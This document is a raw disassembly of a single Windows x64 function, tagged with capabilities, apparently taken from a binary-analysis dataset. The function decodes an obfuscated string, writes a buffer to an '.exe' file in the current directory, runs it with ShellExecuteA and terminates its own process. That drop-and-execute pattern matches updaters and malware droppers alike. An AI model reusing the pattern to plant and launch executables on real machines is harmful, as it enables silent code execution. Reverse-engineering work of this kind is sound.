Function at 0x140017bb0
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x390]
sub rsp, 0x490
mov rax, qword [0x1401ffe18]
xor rax, rsp
mov qword [rbp + 0x380], rax
mov r12, rcx
mov qword [rbp + 0x140], rcx
xor r13d, r13d
mov dword [rsp + 0x60], r13d
lea rdx, [0x1401ffae8]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rdx, qword [0x1401ffae8]
lea rcx, [0x1401ffb08]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x1401ffb08]
mov r8, qword [0x1401ffb18]
cmp r8, qword [0x1401ffaf8]
jne 0x140017c45
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140018277
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x168], xmm0
mov qword [rbp + 0x178], rax
movabs rax, 0x3ea2303e7222c04
mov qword [rsp + 0x40], rax
movabs rcx, 0x40c25cbd57ee72b
mov qword [rsp + 0x48], rcx
movabs rax, 0x3ea1432d5151437
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
movdqa xmm0, xmmword [rsp + 0x40]
pxor xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp - 0x70], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [rbp - 0x50]
movaps xmmword [rbp - 0x50], xmm1
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp - 0x40], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp - 0x30], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp - 0x20], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp - 0x10], xmm1
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
lea rax, [rbp - 0x70]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140017cf0
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x40]
call fcn.14005a030
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x168]
mov rcx, r12
call fcn.1400b79b0
nop
mov rcx, qword [rbp + 0x168]
cmp rcx, qword [rbp + 0x170]
je 0x14001823a
lea rdx, [rbp + 0x180]
mov ecx, 0x200
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov qword [rbp + 0x148], r13
mov qword [rbp + 0x158], r13
mov qword [rbp + 0x160], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x148], 0
lea rax, [rbp + 0x180]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140017d71
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x148]
call fcn.14005a030
nop
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 8]
call fcn.1400556a0
nop
mov r9d, 1
lea r8, [0x140112fa0]
xor edx, edx
mov rcx, rax
call fcn.14005d4e0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 4
jb 0x140017e25
lea rax, [rcx + 4]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x40]
mov dword [rax + rcx], 0x6578652e
mov byte [rax + rcx + 4], 0
lea rax, [rsp + 0x40]
jmp 0x140017e4a
mov qword [rsp + 0x20], 4
lea r9, str..exe
movzx r8d, byte [rsp + 0x30]
mov edx, 4
lea rcx, [rsp + 0x40]
call fcn.140003ad0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r9, [rsp + 0x68]
movq rdi, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq r14, xmm0
cmp r14, 0x10
cmovae r9, rdi
mov r15, qword [rbp + 0x158]
mov rcx, qword [rbp + 0x160]
mov rax, rcx
sub rax, r15
movq rsi, xmm1
cmp rsi, rax
ja 0x140017edf
lea rax, [r15 + rsi]
mov qword [rbp + 0x158], rax
lea rbx, [rbp + 0x148]
cmp rcx, 0x10
cmovae rbx, qword [rbp + 0x148]
lea rcx, [rbx + r15]
mov r8, rsi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + r15]
mov byte [rax + rsi], 0
jmp 0x140017f02
mov qword [rsp + 0x20], rsi
movzx r8d, byte [rsp + 0x30]
mov rdx, rsi
lea rcx, [rbp + 0x148]
call fcn.140003ad0
mov r14, qword [rbp - 0x80]
mov rdi, qword [rsp + 0x68]
cmp r14, 0x10
jb 0x140017f3d
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140017f34
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017f34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1401080d8
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140017f7d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017f78
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401080d8
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x140017fce
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017fc9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017fc9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401080d8
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll_memset
lea rbx, [rbp + 0x148]
cmp qword [rbp + 0x160], 0x10
cmovae rbx, qword [rbp + 0x148]
lea rax, [0x140112f98]
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x60], 7
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rdi
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2c], edx
lea rax, [rbp + 0x38]
mov qword [rbp], rax
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x38], rax
mov byte [rbp + 0xb4], 0
mov byte [rbp + 0xa9], 0
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0xb8], r13
mov rax, qword [0x140200928]
mov qword [rbp + 0xac], rax
mov qword [rbp + 0xa0], r13
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
mov rdx, rbx
lea rcx, [rbp + 0x38]
call fcn.14005e3a0
test rax, rax
jne 0x1400180dc
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x30], rdi
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2c], edx
mov r8, qword [rbp + 0x170]
mov rdx, qword [rbp + 0x168]
sub r8, rdx
lea rcx, [rbp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rbp + 0x30]
movsxd rax, dword [rcx + 4]
cmp dword [rbp + rax + 0x40], 0
jne 0x1400181b3
lea rcx, [rbp + 0x38]
call fcn.14005a480
test rax, rax
jne 0x140018153
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [0x1401ffac8]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae r9, qword [0x1401ffac8]
lea r8, [rbp + 0x148]
cmp qword [rbp + 0x160], 0x10
cmovae r8, qword [rbp + 0x148]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r13
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x30]
movsxd rax, dword [rcx + 4]
mov qword [rbp + rax + 0x30], rdi
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x38]
call fcn.14000b0e0
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x160]
cmp rdx, 0x10
jb 0x140018233
inc rdx
mov rcx, qword [rbp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001822e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001822e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401080d8
mov rcx, qword [rbp + 0x168]
test rcx, rcx
je 0x140018277
mov rdx, qword [rbp + 0x178]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018271
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018271
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401080d8
nop
mov rcx, r12
call fcn.14000b8b0
mov rcx, qword [rbp + 0x380]
xor rcx, rsp
call fcn.140108a30
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret